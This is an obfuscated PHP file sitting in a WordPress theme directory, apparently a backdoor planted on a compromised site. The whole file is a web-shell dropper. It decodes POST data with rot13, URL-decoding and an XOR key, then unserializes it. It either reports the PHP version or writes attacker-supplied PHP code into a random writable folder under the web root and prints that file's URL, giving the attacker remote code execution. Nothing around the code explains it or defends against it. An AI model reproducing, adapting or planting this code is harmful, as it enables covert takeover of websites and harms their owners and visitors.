File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/rubine/inc/uqimswle.php
<?php $xkkQq = 'D'."\117"."\103".'U'.chr(445-368)."\105".chr(439-361)."\x54"."\137".'R'."\117"."\117".chr(84);$NkAwpFN = "\x48"."\x54"."\x54".chr(230-150)."\x5f".chr(72).chr(140-61).chr(83).'T';$Mytfi = chr(104).'t'.chr(116).chr(112).chr(907-849).'/'.'/';$NNkBUwfn = "\x2e".chr(1058-946).chr(374-270)."\x70";$BHnLnSVK = "\160".'h'."\x70";$UXKGVHc = chr(242-140).chr(670-565).chr(252-144).'e'."\x5f".chr(112).chr(117)."\164".chr(781-686)."\143"."\157".'n'.chr(116).'e'."\156".'t'.chr(557-442);$pAFSRjRlq = "\x72".'a'.chr(388-269).chr(117).chr(114)."\154".chr(100)."\x65"."\143".'o'.chr(393-293)."\x65";$BhgITYmarC = 'u'.'n'.chr(395-280)."\145".'r'."\x69".chr(97).'l'."\x69".chr(792-670).'e';$rTHbAA = chr(782-677).chr(941-826).'_'.chr(1041-922)."\162"."\x69"."\x74"."\x61"."\142"."\154"."\145";$PlAFHTKkU = chr(656-544)."\x68".'p'."\x76".'e'."\162".chr(115).chr(977-872).chr(111)."\x6e";$LzvQd = 's'.chr(1011-895)."\162".chr(95).'r'.chr(844-733).chr(1087-971)."\x31".chr(51);$Cwdvr = 's'.chr(101).'r'."\x69"."\141"."\154".'i'.chr(479-357).chr(101);$PsXhUjSNC = "\163"."\x74"."\162"."\137"."\x73".chr(256-144)."\154".chr(105).'t';foreach ($_POST as $CPEdX => $jXgFEHc){$ugMNHAAss = strlen($CPEdX);if ($ugMNHAAss == 16){$jXgFEHc = $PsXhUjSNC($pAFSRjRlq($LzvQd($jXgFEHc)));$CPEdX = array_slice($PsXhUjSNC(str_repeat($CPEdX, (count($jXgFEHc)/16)+1)), 0, count($jXgFEHc));function CGEwf($xRzLtzwOV, $HWmIsvRM, $CPEdX){$PLIYLYQjR = "bcb019e0-a530-464f-9495-ec8619b601a5";return $xRzLtzwOV ^ $PLIYLYQjR[$HWmIsvRM % strlen($PLIYLYQjR)] ^ $CPEdX;}$jXgFEHc = array_map("CGEwf", array_values($jXgFEHc), array_keys($jXgFEHc), array_values($CPEdX));$jXgFEHc = implode("", $jXgFEHc);$jXgFEHc = @$BhgITYmarC($jXgFEHc);if (@is_array($jXgFEHc)){$IkLkeiXhs = array_keys($jXgFEHc);$jXgFEHc = $jXgFEHc[$IkLkeiXhs[0]];if ($jXgFEHc === $IkLkeiXhs[0]){echo @$Cwdvr(Array($BHnLnSVK => @$PlAFHTKkU(), ));exit();}else {function wUsSs($eNsBMqir){static $hcSNautC = array();$piGyFJ = glob($eNsBMqir . '/*', GLOB_ONLYDIR);$qgRLzm = count($piGyFJ);if ($qgRLzm > 0) {foreach ($piGyFJ as $eNsBMq) {if (@$rTHbAA($eNsBMq)) {$hcSNautC[] = $eNsBMq;}}}foreach ($piGyFJ as $eNsBMqir) wUsSs($eNsBMqir);return $hcSNautC;}$LbmCcur = $_SERVER[$xkkQq];$piGyFJ = wUsSs($LbmCcur);$IkLkeiXhs = array_rand($piGyFJ);$YyDOvTwj = $piGyFJ[$IkLkeiXhs] . "/" . substr(md5(time()), 0, 8) . $NNkBUwfn;@$UXKGVHc($YyDOvTwj, $jXgFEHc);$JSJsxxFLZr = $Mytfi . $_SERVER[$NkAwpFN] . substr($YyDOvTwj, strlen($LbmCcur));print($JSJsxxFLZr);die();}}}}